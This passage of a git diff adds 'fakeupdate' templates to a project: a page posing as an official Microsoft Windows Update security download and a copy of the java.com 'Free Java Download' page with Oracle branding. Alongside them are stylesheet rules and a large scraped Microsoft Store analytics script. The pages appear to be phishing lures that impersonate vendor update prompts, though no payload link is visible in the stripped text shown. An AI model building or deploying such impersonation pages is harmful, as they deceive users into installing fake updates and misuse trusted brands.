"progid:DXImageTransform.Microsoft.Shadow(Strength=4, Direction=135, Color='#444444')"; + filter: progid:DXImageTransform.Microsoft.Shadow(Strength=4, Direction=135, Color='#444444'); + margin-top: 1em; + margin-left: auto; + margin-right: auto; + font-size: 1.1em; + line-height: 1.15em; +} + +div.boxshadow.centertext { text-align: center; } + +/* @end shadow box */ + +/* @group img */ +.alertimg { float: left; margin:3px 6px 20px 1px; } +img.alert { float: left; margin:3px 6px 20px 1px; } +img.alerthelp { margin: 0.3em 0.75em 0.5em 0em; } +img.thinfo { margin-right:2px;margin-bottom:-4px;margin-left:25px;width:16px;height:16px; } +img.ctralign { display: block; margin-left:auto; margin-right:auto; margin-bottom:1em; } +img.pfv { margin-left:4.5px; margin-right:4px; margin-bottom:-1px; border: 0; } +img.infoic { float: left; margin:0.2em 5px 0px 0px; } +img.aupanel { float: left; margin: 0.75em 0.9em 12em 0.2em; } +img.logo { float: left; margin:-0.25em 2em 0 0; } + +/* @end img */ + +/* alert panel styles */ +.alertPanel { + background-color: #ffffce; + border: solid 1px #f0c000; + text-align: left; + padding: 1.65em 1.65em .75em 0.5em; +} +.alertPaneltext { + border: .85px; + margin: -1.65em 0 0.55em 2.5em; +} +/* @end alert panel styles */ + +/* notice panel styles */ +.noticePanel { + background-color: #ffffce; + border: solid 1px #f0c000; + text-align: left; + padding: 1.65em 1.6em 1.6em 2.5em; +} + +.infoPanel { + background-color: #eef8f8; + border: solid 1px #00000; + text-align: left; + padding: 1.65em 1.6em 1em 2.5em; +} + +/* @end notice panel styles */ + +/* additional styles */ +ul.redarrows { + margin-top: 1em; + list-style-image: url('/ga/im/ar_dbl_red.png'); +} + +ul.logo { padding-left:3.5em; overflow:hidden; } +span.rightarrowred {color:#f00;} +.flrgt { float: right; } +.fllft { float: left; } +.hcenter { text-align:center; margin-top:1.5em; margin-bottom:1.5em; } +.btmargsmall { margin-bottom: 0.25em; } +.btmargless { margin-bottom: -0.45em; } + +.logotxtrt { + margin: 0.65em 1.85em 1.85em 2em; + padding: 0.2em 0.5em 0.95em 0.5em; + border: 1px solid #000; + float: right; + width:170px; + text-align: center; +} +/* end additional styles */ diff --git a/templates/fakeupdate/Settings_WinUpdate.html b/templates/fakeupdate/Settings_WinUpdate.html new file mode 100644 index 0000000..1268b01 --- /dev/null +++ b/templates/fakeupdate/Settings_WinUpdate.html @@ -0,0 +1,31 @@ + + +Download Windows Update Security Systems (KB2919355) from Official Microsoft Download Center
    Windows

    + Windows Important updates Security Systems (KBlenfile) +

    +
    +
    +
    Select Language:
    + +
    + + +
    +
    \ No newline at end of file diff --git a/templates/fakeupdate/Settings_java.html b/templates/fakeupdate/Settings_java.html new file mode 100644 index 0000000..1184b99 --- /dev/null +++ b/templates/fakeupdate/Settings_java.html @@ -0,0 +1,170 @@ + + + + + + + Free Java Download + + + + + + + + +
    + Java.com +

    + Download Help

    + +
    + + + + + + + +
    +
    + + + +
    + +
    +
    + +

    Free Java Download

    +

    Download Java for your desktop computer now!

    +

    +Version 8 Update 60 +

    +Release date {{Date}} +

    + + + + + +

    +

    Why download Java?

    + +

    Java technology allows you to work and play in a secure computing environment. Upgrading to the latest Java version improves the security of your system, as older versions do not include the latest security updates.

    +

    Java allows you to play online games, chat with people around the world, calculate your mortgage interest, and view images in 3D, just to name a few.

    + + + +
    +
    + +

    +Java software for your computer, or the Java Runtime Environment, is also referred to as the Java Runtime, Runtime Environment, Runtime, JRE, Java Virtual Machine, Virtual Machine, Java VM, JVM, VM, Java plug-in, Java plugin, Java add-on or Java download. +

    +
    + + + + + + + + + + + +
    +
    + + + +
    +
    + +

    All Java Downloads

    +

    +If you want to download Java for another computer or Operating System, click the link below. +
    +All Java Downloads +

    + + +

    Report an issue

    +

    Why am I always redirected to this page when visiting a page with a Java app? +
    +» Learn more
    +» Report an issue +

    + +
    +
    + + + +
    + + + + + +
    + +

    Select Language +| About Java +| Support +| Developers +
    + + + + + + Privacy + + + + Terms of Use + + + Trademarks + + +| Disclaimer +

    +Oracle +
    + + + + + + + + + + + + + diff --git a/templates/fakeupdate/Windows_Update/source/15815 b/templates/fakeupdate/Windows_Update/source/15815 new file mode 100644 index 0000000..2925c07 --- /dev/null +++ b/templates/fakeupdate/Windows_Update/source/15815 @@ -0,0 +1,4 @@ +var bk_results = { + "campaigns": [ + ] +}; diff --git a/templates/fakeupdate/Windows_Update/source/222980912.js b/templates/fakeupdate/Windows_Update/source/222980912.js new file mode 100644 index 0000000..5ada51e --- /dev/null +++ b/templates/fakeupdate/Windows_Update/source/222980912.js @@ -0,0 +1,320 @@ + + + + + + +function ClickTaleOnReady(){window.optimizely = window.optimizely || []; window.optimizely.push(['clickTaleRecord'])}; + +(function(){ + +geolocation = {}; +geolocation.requestGeo=function(b,a,e){geolocation.requested=+new Date;if(e){var d={};document.cookie.replace(/([^\s;]*)=([^;]*)/ig,function(a,b,c){100>=c.length&&0!==b.indexOf("optimizely")&&(d["c_"+b]=unescape(c))});d.project=a;var a=[],c;for(c in d)d.hasOwnProperty(c)&&a.push(encodeURIComponent(c)+"="+encodeURIComponent(d[c]));b+="?"+a.join("&")}c=b;b=document.head||document.getElementsByTagName("head")[0]||document.documentElement;a=document.createElement("script");a.type="text/javascript";a.async= +!0;a.src=c;b.insertBefore(a,b.firstChild)}; + +})(); +optimizelyCode = function(){ +var DATA={"rum_sampling_rate":0.001,"log_host":"log.optimizely.com","goal_expressions":{"405041153":["^modules\\_and\\_category\\/accessories\\_clicks$"],"289199618":["^cart\\:\\ checkout\\ clicks$"],"2444290051":["^o365\\_personal\\_clicks$"],"272965124":["^pre\\-order\\_notification\\_link$"],"5680109281345536":["^windows\\_category\\_page\\_\\-\\_hero\\_banner\\_clicks$"],"241063945":["^addtocart$"],"339874314":["^what's\\_new\\_computer\\_clicks$"],"2514740334":["^buy\\_box\\_clicks$"],"1773921806":["^l3\\_clicks$"],"596080147":["^surface\\_cat\\_module\\_clicks$"],"2578852239":["^add\\_to\\_cart\\_\\-swap$"],"235751957":["^3up\\_\\-\\_1st\\_up\\_clicks$"],"2622250006":["^step\\_1$"],"746230297":["^add\\_to\\_cart\\_clicks\\_swnet$"],"2615980060":["^step\\_4$"],"1775241658":["^xbox\\_one\\_clicks$"],"299635744":["^surface\\_sub\\-category\\_clicks$"],"300578337":["^footer\\_clicks$"],"1764550690":["^additional\\_software\\_category\\_clicks$"],"1812150307":["^1x\\_shop\\_surface\\_clicks$"],"2384360198":["^clicks\\_on\\_top\\_ribbon$"],"585620007":["^see\\_all\\_apps\\_\\(top\\)\\_clicks$"],"1777931304":["^home\\_page\\_\\-\\_shop\\_categories\\_clicks$"],"386943533":["^pc\\_pdp\\_student\\_link\\_clicks$"],"385760302":["^hero\\_spot\\_3\\_clicks$"],"2374100530":["^mod\\_g\\_xbox\\_one$"],"2133840436":["^takeover\\_video\\_clicks$"],"2619710009":["^step\\_3$"],"2531070010":["^step\\_3\\_clicks$"],"2500820541":["^machs\\_clicks$"],"385780289":["^hero\\_spot\\_1\\_clicks$"],"1510682180":["^quantity\\_selector\\_clicks$"],"2540200005":["^home\\_clicks$"],"1761510367":["^popular\\_picks\\_test$"],"296454216":["^order$"],"238208585":["^windows\\_pdp\\_atc\\_clicks$"],"2437270455":["^h\\&s$"],"659200269":["^suite\\_clicks$"],"1777782200":["^twitter\\_module\\_clicks$"],"2218340435":["^add\\ to\\ cart\\ clicks\\ in\\ pop\\ up$"],"6509474445524992":["^pre\\-order\\_clicks$"],"384790104":["^hero\\_spot\\_2\\_clicks$"],"300224603":["^checkout\\_next\\_\\(click\\)$"],"1608549306":["^office\\_cat\\_\\-\\_big\\_banner\\_clicks$"],"266916961":["^fourth\\_slot\\_nav\\_click$"],"246864994":["^top\\_navigation\\_clicks$"],"2181781179":["^enroll\\_in\\_rewards\\_\\(new\\)$"],"2178351718":["^rewards\\_enroll$"],"340221031":["^what's\\_new\\_clicks$"],"340036205":["^test$"],"702231662":["^banner\\_clicks$"],"2443930735":["^o365\\_personal$"],"1450900328":["^skype\\_sticky\\_nav\\_clicks$"],"2439030386":["^mod\\_b\\_clicks$"],"2334180979":["^mod\\_a\\_clicks$"],"448550006":["^sizing\\_chart\\_clicks$"],"2330332282":["^mod\\_g\\_xbox\\_360\\_clicks$"],"2413920384":["^o365cat\\_clicks$"],"2499170042":["^add\\_to\\_cart$"],"2388280454":["^product\\ link\\ clicks$"],"595454088":["^monthly\\_clicks$"],"1752290071":["^shipping\\_option\\_click$"],"2409630348":["^university\\_clicks$"],"241124717":["^home\\_\\&\\_student\\_clicks$"],"548470928":["^nav\\_links$"],"2423300757":["^mac\\_h\\&s$"],"592072345":["^continue\\_shopping\\_clicks$"],"1761431195":["^rewards\\ sign\\-up\\ click$"],"2466760348":["^us\\:\\_ty\\_page\\_download\\_button\\_clicks$"],"2577510472":["^gallery\\_clicks$"],"2339690654":["^add\\ to\\ carts\\ \\-surface\\ pro\\ 3$"],"5394889093152768":["^surface\\_category\\_\\-\\_hero\\_banner\\_clicks$"],"2507741609":["^hs\\_clicks$"],"324854947":["^hero\\_1\\_banner\\_clicks$"],"922475172":["^candy\\_rack\\_clicks$"],"344573094":["^spotlight\\_3$"],"1782330024":["^office\\_category\\_clicks$"],"2448830121":["^o365\\_home$"],"2158850433":["^office\\_compare\\_product\\_clicks$"],"2500441158":["^machb$"],"1762830519":["^home\\_page\\_hero\\_banner\\_clicks$"],"404510907":["^student\\_surface\\_hero\\_banner\\_clicks$"],"597941437":["^return\\_to\\_top\\_clicks$"],"566801599":["^see\\_all\\_apps\\_\\(bottom\\)\\_clicks$"],"2305910466":["^example\\_clicks$"],"2537470411":["^step\\_1\\_clicks$"],"242728133":["^surface\\_rt\\_clicks$"],"540480711":["^countdown\\_banner\\_clicks$"],"2431540547":["^o365university\\_clicks$"],"453830347":["^see\\_our\\_category\\_link\\_clicks$"],"577480399":["^office\\.com\\_clicks$"],"1780740817":["^flyout\\_image\\_clicks$"],"2157420243":["^bing\\_rewards\\:\\_pdp\\_learn\\_more\\_engagement$"],"2221840846":["^email\\_opt\\_in$"],"1781761238":["^new\\_movies$"],"2457261784":["^link\\_in\\_sticky\\_header$"],"924593885":["^candy\\_rack\\_clicks\\_\\-\\_below$"],"1782661622":["^computer\\_\\(pc\\_\\&\\_tablet\\)\\_category\\_clicks$"],"2006911199":["^signature\\_pdp\\_clicks$"],"1774840033":["^windows\\_category\\_clicks$"],"228164834":["^0365\\ clicks$"],"264826596":["^storage\\_link\\_clicks$"],"247207142":["^shop\\_products$"],"342082281":["^triple\\_hero\\_spot\\_2\\_clicks$"],"239150830":["^office\\_category\\_hero\\_banner\\_clicks$"],"918853873":["^candy\\_rack\\_clicks\\_\\-\\_next\\_to$"],"2327750898":["^mod\\_g\\_clicks$"],"2219840259":["^plus\\ sign\\ clicks$"],"2189160186":["^office\\_cat\\_banner\\_clicks$"],"264654076":["^computer\\_category\\_hero\\_banner$"],"2503850750":["^step\\_2\\_clicks$"],"702483201":["^ksr\\_cateory\\_video\\_clicks$"],"2096660226":["^office\\_hero\\_2\\_banner\\_clicks$"],"2037210371":["^office\\_monthly\\_\\/\\_yearly\\_clicks$"],"853700356":["^download\\_monthly\\_submit$"],"225817350":["^office\\ home\\ and\\ student\\ clicks$"],"357090055":["^narrow\\_banner\\_clicks$"],"2402080008":["^find\\_a\\_store\\_clicks$"],"240926988":["^office\\_home\\_\\&\\_student\\_nav\\_clicks$"],"300100365":["^other\\_ways\\_to\\_shop$"],"241574160":["^office\\_home\\_premium\\_nav\\_clicks$"],"2602610648":["^add\\_to\\_cart\\_from\\_review$"],"222978834":["^engagement$"],"2435911443":["^xbox\\_clicks$"],"312349230":["^comparison\\_links$"],"2583580438":["^videodeskchat$"],"859470445":["^return\\_to\\_top2$"],"325663515":["^compare\\_table\\_clicks$"],"2157120796":["^o365\\_clicks$"],"2343600925":["^5th\\_spotlight\\_clicks$"],"300080927":["^our\\_top\\_categories\\_\\&\\_other\\_ways\\_to\\_shop$"],"2175622023":["^office\\_cat\\_big\\_banner\\_clicks$"],"2410640172":["^compare\\_chart$"],"2371591982":["^mod\\_g\\_apps\\_clicks$"],"651150639":["^32\\_gb$"],"2598680537":["^live\\ person\\ chat\\ start$"],"2213070643":["^complete\\_attach\\_no\\_thanks$"],"836700470":["^download\\_yearly\\_submit$"],"2491590458":["^hero\\_6\\_clicks$"],"381510459":["^surface\\_category\\_page\\_\\-\\_module\\_clicks$"],"2409900348":["^product\\_module$"],"1835641226":["^arrow\\_clicks$"],"2410960191":["^h\\&b$"],"2400862017":["^xbox\\_one\\_add\\_to\\_cart$"],"721901891":["^ksr\\_home\\_page\\_pre\\_order\\_clicks$"],"2623240004":["^step\\_2$"],"1041640447":["^add\\ to\\ cart\\ click$"],"360750924":["^see\\_our\\_office\\_category$"],"1993880290":["^complete\\_checkout$"],"2492271440":["^top\\_right\\_hero$"],"258553060":["^homepage\\_hero\\_banner\\_clicks$"],"651431055":["^titianfall\\_countdown\\_clicks$"],"722023772":["^responsive\\_menu$"],"319608669":["^below\\_banner\\_clicks$"],"2145330526":["^takeover\\_banner\\_clicks$"],"1785631071":["^l1\\_clicks$"],"457250145":["^xbox\\_takeover\\_banner\\_clicks$"],"2424980283":["^add\\ to\\ cart\\ candy\\ rack$"],"2128871269":["^home\\_page\\_\\(hero\\_\\&\\_spotlight\\_clicks\\)$"],"2512930150":["^startvideochat$"],"304855912":["^buy\\_pc\\_with\\_complete$"],"2316360071":["^clicks\\_on\\_12\\_days\\_button$"],"300316525":["^our\\_categories$"],"236655473":["^3\\_up\\_clicks$"],"2622150031":["^step\\_5$"],"2215910292":["^ms\\_band\\_twitter\\_instagram\\_clicks$"],"1004744570":["^cta\\_clicks$"],"242415996":["^surface\\_pro\\_clicks$"],"917681533":["^shopping\\_cart\\_\\-\\_candy\\_rack\\_clicks$"],"757980545":["^cta\\_pdp\\_clicks$"],"1565356509":["^inventory\\_clicks$"],"1782661508":["^l2\\_clicks$"],"312218177":["^office\\_category\\_\\-\\_audience\\_links$"],"222868874":["^hero\\_clicks$"],"1609560461":["^nav\\_clicks\\_\\(uk\\_mscom\\)$"],"2518040551":["^personal\\_clicks$"],"592554895":["^yearly\\_clicks$"],"1771201939":["^windows\\_phone\\_category\\_clicks$"],"246315412":["^spanish$"],"2515960725":["^ratings\\_and\\_review\\_clicks$"],"653310870":["^64\\_gb$"],"456910237":["^xbox\\_new\\_3\\_up\\_clicks$"],"287465374":["^free\\_shipping\\_clicks$"],"360580517":["^cta\\_list\\_page\\_clicks$"],"1767420329":["^accessories\\_cateogry\\_clicks$"],"586650026":["^phone\\_app\\_clicks$"],"1872680263":["^give\\_campaign\\_clicks$"],"285230001":["^homepage\\:\\ hero\\ clicks$"],"1992630198":["^placed\\_order$"],"705102409":["^add\\_to\\_cart\\_clicks\\_swnet$"],"228472248":["^language\\_drop\\-down$"],"1760110009":["^xbox\\_category\\_clicks$"],"456050106":["^xbox\\_category\\_link\\_clicks$"],"592501180":["^asus\\_clicks$"],"291929021":["^start\\_checkout$"],"352050110":["^spotlight\\_2$"],"439221185":["^video\\_clicks$"],"785906628":["^shopping\\_cart\\_global\\_nav\\_clicks$"],"240958966":["^home\\_premium\\_clicks$"],"345856456":["^spotlight\\_1$"],"1771230153":["^computuer\\_category\\_clicks$"],"5640268090966016":["^compare\\_surface\\_button\\_clicks$"],"339533262":["^computer\\_sub\\-cat\\_link\\_clicks$"],"2212010744":["^complete\\_attach\\_add\\_to\\_cart$"],"744301012":["^ksr\\_category\\_page\\_pre\\_order\\_clicks$"],"347020758":["^spotlight\\_4$"],"298223575":["^\"on\\_sale\"\\_clicks$"],"347340248":["^spotlight\\_5$"],"347340249":["^spotlight\\_6$"],"241102812":["^professional\\_clicks$"],"1268853213":["^homepage\\_hero\\_1\\_clicks$"],"708190629":["^promo\\_code\\_box\\_clicks$"],"311956449":["^office\\_cat\\_page\\_\\-\\_banner\\_clicks$"],"1040442363":["^takeover\\_clicks$"],"2542210020":["^clicks\\_to\\_shopping\\_cart$"],"226297318":["^product\\ clicks$"],"2443900903":["^mac\\_h\\&b$"],"1783661032":["^surface\\_cateogry\\_clicks$"],"227997164":["^compare\\_suites\\_tab$"],"2442290685":["^xbox\\_one\\_console\\_clicks$"],"695272432":["^ksr\\_home\\_page\\_video\\_clicks$"],"1018531315":["^watch\\_dogs\\_takeover\\_clicks$"],"2009990645":["^home\\_page\\_banner\\_clicks$"],"536430070":["^office\\_2010\\_clicks\\_on\\_banner$"],"2407710633":["^evolve\\_clicks$"],"2185861112":["^xbox\\_cat\\_banner\\_shop\\_now\\_clicks$"],"676231679":["^3\\_up\\_xbox\\_clicks$"],"2445300138":["^home\\&student\\_clicks$"],"386210303":["^surface\\_category\\_page\\_\\-\\_black\\_bar\\_clicks$"]},"experiments":{"2171090442":{"css":".exp-videobanner{\n color:#fff; \n}\n.exp-videobanner .box-container{\n width:50%;\n position:absolute;\n right:0;\n bottom:0;\n}\n.exp-videobanner .boxshot{\nwidth:75%;\nmax-width:569px;\nposition:relative;\ntop:20px;\n}\n\n@media \nonly screen and (min-width: 540px) and (max-width: 768px){\n .exp-videobanner .box-container{\n right:15%; \n }\n .exp-videobanner .boxshot{\n width:120%;\n }\n \n \n}\n\n\n\n@media \nonly screen and (max-width: 540px){\n\n .exp-videobanner .box-container{\n bottom:inherit;\n }\n .exp-videobanner .boxshot{\n float:right;\n margin-right:10px;\n width:85%;\n }\n .rwd .full-page-splash.exp-videobanner .splash-overlay{\n width:50%;\n margin:0 0 0 10px;\n }\n .rwd .full-page-splash.exp-videobanner .content-container{\n background-color:#107c10;\n margin-top:-10px;\n }\n}","variation_ids":["2157081215","2177630497"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox/categoryID.62684900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox-One/categoryID.64484500"}],"enabled_variation_ids":["2157081215","2177630497"]},"2118260747":{"variation_ids":["2107091459","2130460006"],"urls":[{"match":"substring","value":"id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2107091459","2130460006"]},"2434260494":{"css":"#ms_PDP_Buy_Button_Promo_Text .shipping-return-text{\nfont-weight:bold;\n}","variation_weights":{"2450940320":5000,"2421430447":5000},"enabled":true,"variation_ids":["2450940320","2421430447"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.300190600"}],"enabled_variation_ids":["2450940320","2421430447"]},"2178480144":{"variation_ids":["2180910619","2181220209","2175140081"],"urls":[{"match":"substring","value":"id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2181220209","2175140081"]},"1405591057":{"conditions":[{"type":"url","values":[{"value":"http://www.microsoftstore.com/store/msusa/html/pbpage.OfficeCompare","match":"simple"}]},{"only_first_time":true,"type":"visitor","value":"all"}],"variation_ids":["1402111063","1407341085"],"enabled_variation_ids":["1402111063","1407341085"]},"1256975900":{"conditions":[{"type":"url","values":[{"value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.288730000","match":"simple"},{"value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.288729900","match":"simple"},{"value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.296547700","match":"simple"},{"value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.296725900","match":"simple"},{"value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.288729400","match":"simple"}]},{"only_first_time":true,"type":"visitor","value":"all"}],"css":".experiment-addon .variation-container .addon{\ndisplay:none; \n}\n.experiment-addon .buySpan_AddtoCart{\nvisibility:hidden !important;\nposition:absolute !important;\n}\n/* If out of stock */\n.experiment-addon-outofstock .buySpan_AddtoCart{\nvisibility:visible !important;\nposition:relative !important;\n}\n.experiment-addon-outofstock .exp-modal{\ndisplay:none !important;\n}\n\n.experiment-addon a.exp-modal {\n padding: 0.4375em 1.875em 0.4375em 1.875em;\n width: 100%;\n width: -moz-available;\n margin-top: 0px;\n vertical-align: baseline;\n margin-bottom:0 !important;\n display:none;\n}\n.experiment-addon-visible a.exp-modal {\n display:block;\n}\n\n/* Modal UX */\n.exp-modal-addon .mfp-content{\nbackground-color:#fff;\nmax-width:580px;\n}\n.exp-modal-addon .mfp-content .column1{\nwidth:250px;\nfloat:left;\n}\n.exp-modal-addon .mfp-content .column1 img{\ndisplay:block;\nmargin:0 auto;\n}\n.exp-modal-addon .mfp-content .column2{\nwidth:310px;\nmargin-right:20px;\nfloat:right;\n}\n.exp-modal-addon .mfp-content .column2 .heading--large{\nposition:relative;\ntop:-6px;\n}\n.exp-modal-addon .mfp-content .column2 p{\ndisplay:block;\nmargin-top:4px;\nfont-size:1em;\n}\n.exp-modal-addon .mfp-content .column2 a{\nwidth:120px;\npadding:0.5em 1.5625em 0.5em;\n}\n.exp-modal-addon .mfp-content .column2 a.decline{\nbackground-color:#1570a5;\ncolor:#fff;\nmargin-left:10px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.decline:hover{\nbackground-color:#002050;\n}\n.exp-modal-addon .mfp-content .column2 a.accept{\nbackground-color:#bad80a;\nmargin-left:30px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.accept:hover{\nbackground-color:#7fba00;\n}\n.exp-modal-addon .mfp-content .column2 .actions{\nmargin:50px 0 30px 0;\n}","variation_ids":["1260595880","1337111780"],"enabled_variation_ids":["1260595880","1337111780"]},"2587540158":{"variation_weights":{"2580240725":5000,"2602300099":5000},"enabled":true,"variation_ids":["2580240725","2602300099"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-Stream-7-Signature-Edition-Tablet/productID.308781500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.308794900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.308795200 "},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.308002000 "},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.309174500 "},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-Stream-8-Signature-Edition-Tablet/productID.308781600"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.312471000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/ASUS-Transformer-Book-Flip-TP300LA-Signature-Edition-Laptop/productID.308008300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Toshiba-Encore-2-Write-Signature-Edition-Tablet/productID.312644300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/ASUS-X205TA-UH01-BK-Signature-Edition-Laptop/productID.308794000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-Stream-14-z010nr-Signature-Edition-Laptop/productID.308012500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Acer-Aspire-Switch-11-Core-i3-Signature-Edition-2-in-1-PC/productID.308793400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/MSI-GS60-Ghost-Pro-4K-217-Signature-Edition-Gaming-Laptop/productID.311267000 "},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/MSI-GT72-Dominator-Pro-610-Signature-Edition-Gaming-Laptop/productID.311267500 "},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/MSI-GT72-Dominator-611-Signature-Edition-Gaming-Laptop/productID.311267800 "},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/MSI-GP60-Leopard-665-Signature-Edition-Gaming-Laptop/productID.311268100 "},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-XPS-13-7144sLV-Signature-Edition-Laptop/productID.306260800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-Venue-11-Pro-Signature-Edition-Tablet/productID.289455100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/ASUS-VivoTab-8-M81C-B1-MSBK-Signature-Edition-Tablet/productID.307626900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-ENVY-TouchSmart-17-j141nr-Signature-Edition-Laptop/productID.306281000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.312471000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.314413400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313303100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313300900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313300700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313302200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313302500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313302800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313303400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313303700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313304000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313304300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313304900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313360300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313360800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313370900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313371300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313371600"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313371900"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.313464800"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.314142000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.314142100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.314142200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.314142300"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.314142400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.312522400"}],"enabled_variation_ids":["2580240725","2602300099"]},"2003520546":{"css":".experiment-addon .variation-container .addon{\ndisplay:none; \n}\n.experiment-addon .buySpan_AddtoCart{\nvisibility:hidden !important;\nposition:absolute !important;\n}\n/* If out of stock */\n.experiment-addon-outofstock .buySpan_AddtoCart{\nvisibility:visible !important;\nposition:relative !important;\n}\n.experiment-addon-outofstock .exp-modal{\ndisplay:none !important;\n}\n\n.experiment-addon a.exp-modal {\n padding: 0.4375em 1.875em 0.4375em 1.875em;\n width: 100%;\n width: -moz-available;\n margin-top: 0px;\n vertical-align: baseline;\n margin-bottom:0 !important;\n display:none;\n}\n.experiment-addon-visible a.exp-modal {\n display:block;\n}\n\n/* Modal UX */\n.exp-modal-addon .mfp-content{\nbackground-color:#fff;\nmax-width:580px;\n}\n.exp-modal-addon .mfp-content .column1{\nwidth:250px;\nfloat:left;\n}\n.exp-modal-addon .mfp-content .column1 img{\ndisplay:block;\nmargin:0 auto;\n}\n.exp-modal-addon .mfp-content .column2{\nwidth:310px;\nmargin-right:20px;\nfloat:right;\n}\n.exp-modal-addon .mfp-content .column2 .heading--large{\nposition:relative;\ntop:-6px;\n}\n.exp-modal-addon .mfp-content .column2 p{\ndisplay:block;\nmargin-top:4px;\nfont-size:1em;\n}\n.exp-modal-addon .mfp-content .column2 a{\nwidth:120px;\npadding:0.5em 1.5625em 0.5em;\n}\n.exp-modal-addon .mfp-content .column2 a.decline{\nbackground-color:#1570a5;\ncolor:#fff;\nmargin-left:10px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.decline:hover{\nbackground-color:#002050;\n}\n.exp-modal-addon .mfp-content .column2 a.accept{\nbackground-color:#bad80a;\nmargin-left:30px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.accept:hover{\nbackground-color:#7fba00;\n}\n.exp-modal-addon .mfp-content .column2 .actions{\nmargin:50px 0 30px 0;\n}","variation_ids":["2005711251","2002640648"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.300190600"}],"enabled_variation_ids":["2005711251","2002640648"]},"2513740329":{"css":"@media \nonly screen and (min-width: 769px){\n.exp-swapbuybox .new-pdp-hero .grid-row.media-container{\nmargin-right: 0;\nwidth: 51%;\nposition: relative; \nfloat:right;\n}\n.exp-swapbuybox .new-pdp-hero .grid-row.media-container .product-thumbnails{\nmargin: 0;\nwidth: 350px;\nfloat:none;\nmargin-left:26%;\n}\n.exp-swapbuybox .new-pdp-hero .product-data-container{\nfloat:left;\n}\n.exp-swapbuybox .new-pdp-hero .pdp-social-media{\n display:block !important; 